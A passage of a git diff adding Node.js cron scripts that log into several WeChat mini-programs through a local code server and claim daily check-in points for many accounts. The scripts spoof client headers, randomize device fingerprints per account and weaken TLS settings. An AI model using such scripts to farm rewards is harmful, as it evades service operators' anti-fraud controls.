crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT, + ciphers: "DEFAULT@SECLEVEL=1", +}); + +const ckName = "szgc"; +const MINI_APP_ID = "wx6b10d95e92283e1c"; +const HOST = "program.springcocoon.com"; +const BASE = `https://${HOST}`; +const TENANCY_NAME = "szbay"; +const SIGN_ID = "6c3a00f6-b9f0-44a3-b8a0-d5d709de627d"; +const SIGN_WEBAPI_UNIQUE_ID = "404e4880-25da-255b-f6e3-cded50d2cb52"; +const TOKEN_CACHE_FILE = path.join(__dirname, "szgc_token_cache.json"); +const UA = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 XWEB/1340129 MMWEBSDK/20240301 MMWEBID/9871 " + + "MicroMessenger/8.0.48.2580(0x28003036) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"; + +const EP_LOGIN = "/szbay/Weixin/Home/MiniProgramLoginAsync"; +const EP_XSRF = "/szbay/AppInteract/SignIn/Index"; +const EP_SIGN = "/szbay/api/services/app/SignInRecord/SignInAsync"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|签过|today|already/i.test(String(t || "")); + +// 极简 CookieJar(单 host),复刻 requests.Session 的 cookie 累积 +class CookieJar { + constructor() { this.jar = {}; } + setFromResponse(res) { + const sc = res && res.headers && res.headers["set-cookie"]; + if (!sc) return; + const arr = Array.isArray(sc) ? sc : [sc]; + for (const line of arr) { + const first = String(line).split(";")[0]; + const idx = first.indexOf("="); + if (idx <= 0) continue; + const name = first.slice(0, idx).trim(); + const val = first.slice(idx + 1).trim(); + if (val === "" || /^deleted$/i.test(val)) { delete this.jar[name]; continue; } + this.jar[name] = val; + } + } + header() { return Object.entries(this.jar).map(([k, v]) => `${k}=${v}`).join("; "); } + get(name) { return this.jar[name]; } + load(obj) { if (obj && typeof obj === "object") this.jar = { ...obj }; } + dump() { return { ...this.jar }; } + size() { return Object.keys(this.jar).length; } +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.jar = new CookieJar(); + this.xsrf = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + // 底层请求:maxRedirects:0 + 手动跟随,逐跳累积 cookie(复刻 requests.Session) + async raw(method, apiPath, { data, extraHeaders } = {}, depth = 0) { + const headers = { + Host: HOST, + "User-Agent": UA, + Accept: "application/json, text/plain, */*", + "Accept-Language": "zh-CN,zh;q=0.9", + ...(this.jar.size() ? { Cookie: this.jar.header() } : {}), + ...(this.xsrf ? { "X-XSRF-TOKEN": this.xsrf } : {}), + ...(data !== undefined ? { "Content-Type": "application/json" } : {}), + ...(extraHeaders || {}), + }; + const res = await axios.request({ + method, url: `${BASE}${apiPath}`, data, + headers, timeout: 20000, maxRedirects: 0, validateStatus: () => true, httpsAgent, + }); + this.jar.setFromResponse(res); + if ([301, 302, 303, 307, 308].includes(res.status) && res.headers.location && depth < 5) { + let loc = res.headers.location; + let nextPath = loc; + if (/^https?:\/\//i.test(loc)) { try { nextPath = new URL(loc).pathname + (new URL(loc).search || ""); } catch (e) { nextPath = loc; } } + const nextMethod = [307, 308].includes(res.status) ? method : "GET"; + const nextData = nextMethod === "GET" ? undefined : data; + return this.raw(nextMethod, nextPath, { data: nextData, extraHeaders }, depth + 1); + } + return res; + } + parseBody(res) { + let body = res.data; + if (typeof body === "string") { try { body = JSON.parse(body); } catch (e) { /* keep string */ } } + return body; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + this.jar = new CookieJar(); + this.xsrf = ""; + const code = await this.getCode(); + const res = await this.raw("POST", EP_LOGIN, { data: { Code: code, TenancyName: TENANCY_NAME, AppId: MINI_APP_ID } }); + const body = this.parseBody(res) || {}; + if (body.success === true) { + // bindEmpID 为空 = 微信已登录但未绑定/注册会员,签到会「请先登录」 + const r = body.result || {}; + this.bindEmpID = r.bindEmpID || r.bindEmpId || r.BindEmpID || null; + if (!this.bindEmpID) { + this.unregistered = true; + throw new Error("NO_ACCOUNT:微信已授权但未绑定会员(bindEmpID为空),登录页会跳转注册"); + } + this.log("登录成功"); + const cache = readCache(); + cache[this.account.openid] = { cookies: this.jar.dump(), updatedAt: new Date().toISOString() }; + writeCache(cache); + return; + } + const msg = (body.error && body.error.message) || body.message || short(body); + if (/未注册|未绑定|完善|注册会员|绑定手机|激活/.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${msg}`); + } + throw new Error(`登录失败(HTTP ${res.status}): ${msg}`); + } + async prepareXsrf() { + const res = await this.raw("GET", EP_XSRF, {}); + const token = this.jar.get("XSRF-TOKEN"); + if (token) { + this.xsrf = token; + const cache = readCache(); + if (cache[this.account.openid]) { cache[this.account.openid].cookies = this.jar.dump(); writeCache(cache); } + return true; + } + this.log(`⚠️ 未获取到 XSRF-TOKEN(HTTP ${res.status}),继续尝试签到`); + return false; + } + isAuthErr(res, body) { + if (res && (res.status === 401 || res.status === 403)) return true; + if (body && body.unAuthorizedRequest === true) return true; + const msg = (body && body.error && body.error.message) || (body && body.message) || ""; + return /未登录|登录已过期|重新登录|未授权|无权|尚未登录|会话|身份|token/i.test(String(msg)); + } + async sign(retry = true) { + const res = await this.raw("POST", EP_SIGN, { data: { id: SIGN_ID, webApiUniqueID: SIGN_WEBAPI_UNIQUE_ID } }); + const body = this.parseBody(res) || {}; + if (body.success === true) { + const rule = (((body.result || {}).listSignInRuleData) || [])[0] || {}; + const point = rule.point; + return this.log(`✅ 签到成功${point !== undefined ? `,获得 ${point} 积分` : ""}`); + } + const msg = (body.error && body.error.message) || body.message || short(body); + if (isAlreadyDone(msg)) return this.log(`✅ 今日已签到(${msg})`); + if (retry && this.isAuthErr(res, body)) { + this.log("会话失效,重新登录后重试"); + const cache = readCache(); delete cache[this.account.openid]; writeCache(cache); + await this.login(); + await this.prepareXsrf(); + return this.sign(false); + } + // 若从缓存直接进来且 XSRF/会话不对,给一次全新登录机会 + if (retry) { + this.log(`首次签到返回:${msg},尝试全新登录后重试`); + await this.login(); + await this.prepareXsrf(); + return this.sign(false); + } + this.log(`❌ 签到失败(HTTP ${res.status}): ${msg}`); + } + async ensureSession() { + const cached = readCache()[this.account.openid] || {}; + if (cached.cookies && Object.keys(cached.cookies).length) { + this.jar.load(cached.cookies); + this.log("使用缓存会话"); + return; + } + await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureSession(); + await this.prepareXsrf(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在【深圳春茧未来荟】注册/完善会员(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/tclx_lc.js b/wxapp/tclx_lc.js new file mode 100644 index 00000000..ba7ffb9a --- /dev/null +++ b/wxapp/tclx_lc.js @@ -0,0 +1,255 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 同程旅行里程签到 登录/查询/签到 +cron: 21 8 * * * +------------------------------------------ +变量名:tclx_lc +变量值:wx_server里的openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +接口契约(wx.17u.cn / tcmobileapi.17usoft.com): + 登录 POST /wechatappapi/wxUser/login {code, scene:1001} + -> content.{openId, memberId, sectoken};sectoken 用于后续鉴权头 + 日历 POST /wxmpsign/sign/signCalendar {beginDate, endDate} + -> data.{canSign, today, todaySigned, dateInfo[{date, mileage, isSigned}]} + 状态 POST /wxmpsign/sign/getSignInfo {} + -> data.{todaySigned, canSign, signMileage, signDays, + periodContinuedSignDays, tomorrowMileage} + 签到 POST /wxmpsign/sign/saveSignInfo {} -> code==200 + 里程 POST /mallgatewayapi/userApi/mileages/remain {osType:2} + -> data.{remainMileageTitle(里程余额), memberGrade, exchangeRate} +说明:签到成功后小程序内签到按钮会切换为「做任务,赚里程积分」,该任务中心页 + 位于分包 page/AC/sign/ 内。smallcat 的 /wx/downloadurl 仅返回主包(文档参数 + 只有 openid/appid/version_type,无分包选项),分包 js 解包后为空壳,任务中心 + 的接口无法从源码还原;不做接口盲猜。故本脚本只完成每日签到(里程由签到直接 + 发放:今日 signMileage,次日 tomorrowMileage),任务中心请在小程序内手动完成。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("同程旅行里程签到"); +const axios = require("axios"); + +const CK_NAME = "tclx_lc"; +const APP = { name: "同程旅行里程签到", appid: "wx336dcaf6a1ecf632" }; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const DEFAULT_OPENID = process.env.wx_openid || ""; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function short(value, max = 220) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function formatDate(date = new Date()) { + const pad = (n) => String(n).padStart(2, "0"); + return `${date.getFullYear()}-${pad(date.getMonth() + 1)}-${pad(date.getDate())}`; +} + +function getFiveDays() { + const days = []; + for (let i = -2; i <= 2; i++) { + const d = new Date(); + d.setDate(d.getDate() + i); + days.push(formatDate(d)); + } + return days; +} + +async function request(options) { + const res = await axios.request({ + timeout: 20000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, headers: res.headers || {}, data: res.data }; +} + +async function getWxCode(appid, openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth"); + const headers = { auth: WX_AUTH, "content-type": "application/json" }; + let lastMsg = ""; + for (let attempt = 0; attempt < 4; attempt++) { + if (attempt) { + // smallcat 偶发 "获取失败"(会话抖动),刷新会话后间隔重试 + try { + await request({ method: "POST", url: `${WX_SERVER_URL}/wx/refresh`, headers, data: { appid, openid } }); + } catch (e) { + // 刷新失败不阻断,继续重试取 code + } + await new Promise((r) => setTimeout(r, 3000)); + } + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers, + data: { appid, openid }, + }); + if (data && data.status === false) { + lastMsg = data.message || "获取失败"; + continue; + } + const code = data?.code || data?.data?.code; + if (status === 200 && code) return code; + lastMsg = `HTTP ${status}: ${short(data)}`; + } + throw new Error(`获取code失败(已重试): ${lastMsg}`); +} + +class Tongcheng { + constructor(openid) { + this.openid = openid; + this.loginInfo = {}; + } + + headers(extra = {}) { + const sectoken = this.loginInfo.sectoken || ""; + return { + apmat: `${this.loginInfo.openId || this.openid}|${new Date().toISOString().slice(0, 16).replace(/[-T:]/g, "")}|${Math.floor(Math.random() * 1000000)}`, + TCSecTk: sectoken, + TCxcxVersion: "10.8.7", + platform: "WX_MP", + osType: "2", + secToken: sectoken, + "TC-MALL-PLATFORM-CODE": "WX_MP", + "TC-MALL-USER-TOKEN": sectoken, + ...extra, + }; + } + + async login() { + const code = await getWxCode(APP.appid, this.openid); + const res = await request({ + method: "POST", + url: "https://wx.17u.cn/wechatappapi/wxUser/login", + headers: { "content-type": "application/json" }, + data: { code, scene: 1001 }, + }); + const content = res.data?.content || res.data?.data || {}; + if (res.status !== 200 || !content.openId) throw new Error(`登录失败 HTTP ${res.status}: ${short(res.data)}`); + this.loginInfo = { + openId: content.openId, + encryOpenId: content.encryOpenId, + aesOpenId: content.aesOpenId, + unionId: content.unionId, + aesUnionId: content.aesUnionId, + memberId: content.memberId, + sectoken: content.sectoken, + }; + return `openId=${content.openId} memberId=${content.memberId || ""}`; + } + + async query() { + const mileage = await request({ + method: "POST", + url: "https://tcmobileapi.17usoft.com/mallgatewayapi/userApi/mileages/remain", + headers: this.headers({ + "content-type": "application/json", + "TC-MALL-DEPT-CODE": "iH3PGf9ZucSMMEYi4keylA==", + "TC-MALL-CLIENT": "API_CLIENT", + "TC-MALL-OS-TYPE": "Android", + }), + data: { osType: 2 }, + }); + const d = mileage.data?.data || {}; + const remain = d.remainMileageTitle; + if (remain === undefined) return `里程查询失败: ${short(mileage.data, 120)}`; + return `里程余额=${remain} 会员等级=${d.memberGrade || "未知"} 兑换比例=${d.exchangeRate ?? "未知"}`; + } + + async sign() { + const days = getFiveDays(); + const calendar = await request({ + method: "POST", + url: "https://wx.17u.cn/wxmpsign/sign/signCalendar", + headers: this.headers({ "content-type": "application/json" }), + data: { beginDate: days[0], endDate: days[4] }, + }); + const signInfo = await request({ + method: "POST", + url: "https://wx.17u.cn/wxmpsign/sign/getSignInfo", + headers: this.headers({ "content-type": "application/json" }), + data: {}, + }); + const info = signInfo.data?.data || {}; + const cal = calendar.data?.data || {}; + const today = cal.today || formatDate(); + const todayInfo = (cal.dateInfo || []).find((x) => x.date === today) || {}; + const streak = info.periodContinuedSignDays ?? cal.periodContinuedSignDays ?? "未知"; + + // 幂等预检:今日已签则不再提交 + if (info.todaySigned || cal.todaySigned || todayInfo.isSigned) { + return `今日已签到,连续=${streak}天 今日里程=${todayInfo.mileage ?? info.signMileage ?? "未知"}`; + } + if (info.canSign === 0 && cal.canSign === 0) { + return `当前不可签到(canSign=0),请在小程序内查看活动状态`; + } + + const sign = await request({ + method: "POST", + url: "https://wx.17u.cn/wxmpsign/sign/saveSignInfo", + headers: this.headers({ "content-type": "application/json" }), + data: {}, + }); + if (sign.data?.code !== 200) { + return `签到失败: ${sign.data?.msg || short(sign.data, 160)}`; + } + // 复核签到结果(服务端为准),并提示任务中心需手动完成 + const after = await request({ + method: "POST", + url: "https://wx.17u.cn/wxmpsign/sign/getSignInfo", + headers: this.headers({ "content-type": "application/json" }), + data: {}, + }); + const a = after.data?.data || {}; + if (!a.todaySigned) return `签到接口返回成功但状态未更新: ${short(sign.data, 160)}`; + return ( + `签到成功,获得里程=${todayInfo.mileage ?? info.signMileage ?? "未知"} ` + + `连续=${a.periodContinuedSignDays ?? streak}天 明日里程=${a.tomorrowMileage ?? "未知"}` + + `(签到后按钮切换的「做任务,赚里程积分」任务中心在分包内,接口无法还原,请在小程序内手动完成)` + ); + } +} + +async function runAccount(openid, index) { + $.log(`\n========== ${APP.name} 账号[${index}] ${openid} ==========`); + const runner = new Tongcheng(openid); + try { + $.log(`登录:${await runner.login()}`); + $.log(`查询:${await runner.query()}`); + $.log(`签到:${await runner.sign()}`); + } catch (e) { + $.log(`执行失败:${e.message || e}`); + } +} + +(async () => { + const accounts = (process.env[CK_NAME] || DEFAULT_OPENID || "") + .split((process.env[CK_NAME] || "").includes("\n") ? "\n" : "&") + .map((x) => x.trim()) + .filter(Boolean); + if (!accounts.length) { + $.log(`未配置 ${CK_NAME}`); + await $.done(); + return; + } + $.log(`共找到${accounts.length}个账号`); + for (let i = 0; i < accounts.length; i++) { + await runAccount(accounts[i], i + 1); + await $.wait(800); + } + await $.done(); +})().catch(async (e) => { + $.log(`脚本异常:${e.stack || e.message || e}`); + await $.done(); +}); diff --git a/wxapp/thyc.js b/wxapp/thyc.js new file mode 100644 index 00000000..1612a8cc --- /dev/null +++ b/wxapp/thyc.js @@ -0,0 +1,205 @@ +/* +------------------------------------------ +@Description: 途虎养车 - 微信小程序静默登录 + 每日签到 +cron: 24 8 * * * +------------------------------------------ +变量名:thyc +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx27d20205249c56a3,host cl-gateway.tuhu.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +鉴权:纯 code 静默登录,无签名。登录换取 userSession,后续请求头 Authorization: Bearer +登录 POST /cl-user-auth-login/login/authSilentSign {channel:"WXAPP",code} + -> code==10000,data.userSession(=后续 token)、data.nickName +状态 POST /cl-common-api/api/member/getSignInInfo {channel:"WXAPP"} 头 Authorization:Bearer + -> code==10000,data.signInStatus(已签)/userIntegral(积分) +签到 POST /cl-common-api/api/dailyCheckIn/userCheckIn {channel:"WXAPP"} + -> code==10000,data.rewardIntegral/continuousDays +authSilentSign 为静默登录,通常任意微信 code 均可自动建号,无需明文 openid/unionid。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("途虎养车签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "thyc"; +const MINI_APP_ID = "wx27d20205249c56a3"; +const PAGE_VERSION = "1319"; +const API_HOST = "https://cl-gateway.tuhu.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "thyc_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/cl-user-auth-login/login/authSilentSign"; +const EP_SIGN_INFO = "/cl-common-api/api/member/getSignInInfo"; +const EP_SIGN_SUBMIT = "/cl-common-api/api/dailyCheckIn/userCheckIn"; +const OK_CODE = 10000; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function toInt(v) { const n = parseInt(v, 10); return Number.isFinite(n) ? n : 0; } + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + // 设备指纹类字段每号随机生成,不复用原作者值 + this.distinctId = $.uuid(); + this.deviceId = `${Date.now()}-${$.randomNumber(7)}-0f6cb850fc64da-24853921`; + this.fingerprint = `sMPVY${Math.floor(Date.now() / 1000)}QPV2wLVhl8f`; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(withAuth) { + const h = { + Host: "cl-gateway.tuhu.cn", + Connection: "keep-alive", + xweb_xhr: "1", + distinct_id: this.distinctId, + currentPage: "memberMallPackage/pages/pointCenter/pointCenter", + deviceId: this.deviceId, + authType: "oauth", + api_level: "2", + vehicleClass: "CAR", + channel: "wechat-miniprogram", + "Content-Type": "application/json", + fingerprint: this.fingerprint, + "User-Agent": UA, + version: "7.62.8", + Accept: "*/*", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + }; + if (withAuth && this.token) h.Authorization = `Bearer ${this.token}`; + return h; + } + async request(apiPath, data, { withAuth = true } = {}) { + const res = await axios.request({ + method: "POST", url: `${API_HOST}${apiPath}`, data: data || {}, + headers: this.headers(withAuth), timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { channel: "WXAPP", code }, { withAuth: false }); + if (Number(res?.code) !== OK_CODE) throw new Error(`登录失败: ${res?.message || res?.msg || short(res)}`); + const info = res.data || {}; + this.token = String(info.userSession || ""); + if (!this.token) { + // 静默登录未返回 session:多半是该微信号未在途虎注册/激活 + this.unregistered = true; + throw new Error(`NO_ACCOUNT:登录未返回 userSession: ${short(res)}`); + } + const nick = info.nickName || "微信用户"; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功(${nick})`); + } + async getSignInfo() { + const res = await this.request(EP_SIGN_INFO, { channel: "WXAPP" }); + if (Number(res?.code) !== OK_CODE) return { ok: false, res }; + const d = res.data || {}; + return { ok: true, signed: !!d.signInStatus, integral: toInt(d.userIntegral), res }; + } + async submitSign() { + const res = await this.request(EP_SIGN_SUBMIT, { channel: "WXAPP" }); + if (Number(res?.code) === OK_CODE) { + const d = res.data || {}; + return { ok: true, reward: toInt(d.rewardIntegral), days: toInt(d.continuousDays), res }; + } + return { ok: false, msg: res?.message || res?.msg || short(res), res }; + } + async sign(retry = true) { + const info = await this.getSignInfo(); + if (!info.ok) { + const msg = info.res?.message || info.res?.msg || short(info.res); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|401/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + return this.log(`❌ 查询签到状态失败: ${msg}`); + } + if (info.signed) return this.log(`✅ 今日已签到,当前积分 ${info.integral}`); + this.log(`未签到,当前积分 ${info.integral},开始签到...`); + const r = await this.submitSign(); + if (r.ok) return this.log(`✅ 签到成功 +${r.reward} 积分,连续签到 ${r.days} 天`); + if (/已签|签到过|重复|已完成/.test(String(r.msg))) return this.log(`✅ 今日已签到(${r.msg})`); + this.log(`❌ 签到失败: ${r.msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在途虎养车注册/激活,先在小程序里登录一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/tjg.js b/wxapp/tjg.js new file mode 100644 index 00000000..c22113e4 --- /dev/null +++ b/wxapp/tjg.js @@ -0,0 +1,177 @@ +/* +------------------------------------------ +@Description: 天机观 - 微信小程序静默登录 + 每日签到 +cron: 9 9,14 * * * +------------------------------------------ +变量名:tjg +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx7829675630d0305e,host xcx.tianjiguan.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +无签名、无加密:纯 code 换 token,token 走 query(?token=) + 请求头 x-access-token。 +登录 POST /api/user/autoLogin body: code=(application/x-www-form-urlencoded) + -> code==1,data.token(=后续 token);code!=1 或无 token = 未注册/失败 +用户 GET /api/user/userinfo?token= 头 x-access-token: -> code==1,data{nickname,mobile,score} +签到 GET /api/user/sign?token= 头 x-access-token: -> code==1,msg(已签在 msg) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("天机观签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "tjg"; +const MINI_APP_ID = "wx7829675630d0305e"; +const BASE_URL = "https://xcx.tianjiguan.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "tjg_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/api/user/autoLogin"; +const EP_USERINFO = "/api/user/userinfo"; +const EP_SIGN = "/api/user/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function baseHeaders(token) { + return { + host: "xcx.tianjiguan.cn", + "x-access-token": token || "", + "x-requested-with": "XMLHttpRequest", + "user-agent": UA, + xweb_xhr: "1", + "content-type": "application/x-www-form-urlencoded; charset=UTF-8", + accept: "*/*", + referer: `https://servicewechat.com/${MINI_APP_ID}/8/page-frame.html`, + "accept-language": "zh-CN,zh;q=0.9", + }; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await axios.request({ + method: "POST", url: `${BASE_URL}${EP_LOGIN}`, + data: `code=${encodeURIComponent(code)}`, + headers: baseHeaders(""), + timeout: 20000, validateStatus: () => true, + }); + const d = res.data || {}; + if (Number(d.code) === 1) this.token = String((d.data || {}).token || ""); + if (!this.token) throw new Error(`登录未返回 token(可能未注册): ${short(d)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async getUserInfo() { + const res = await axios.request({ + method: "GET", url: `${BASE_URL}${EP_USERINFO}`, + params: { token: this.token }, + headers: baseHeaders(this.token), + timeout: 15000, validateStatus: () => true, + }); + return res.data || {}; + } + async sign(retry = true) { + const res = await axios.request({ + method: "GET", url: `${BASE_URL}${EP_SIGN}`, + params: { token: this.token }, + headers: baseHeaders(this.token), + timeout: 15000, validateStatus: () => true, + }); + const d = res.data || {}; + if (Number(d.code) === 1) return this.log(`✅ 签到成功:${d.msg || "成功"}`); + const msg = d.msg || short(d); + if (/已签|签到过|重复|已完成|明天|已经/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + // 运行态校验:sign/share 这类发奖接口被服务端拦(seeAd/userinfo 正常)——非账号问题、非会话失效 + if (/请求校验失败|重新打开小程序|校验失败/.test(String(msg))) { + return this.log(`🚫 被天机观运行态校验拦截(${msg}):发奖接口(sign/share)需小程序运行态校验,服务端脚本无法满足;userinfo/seeAd 正常,账号已注册,非脚本或账号问题`); + } + // 精确会话失效(不含裸"重新",避免误判"请重新打开小程序") + if (retry && /请登录后操作|未登录|登录已?过期|登录失效|token失效|未授权|鉴权|401/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + 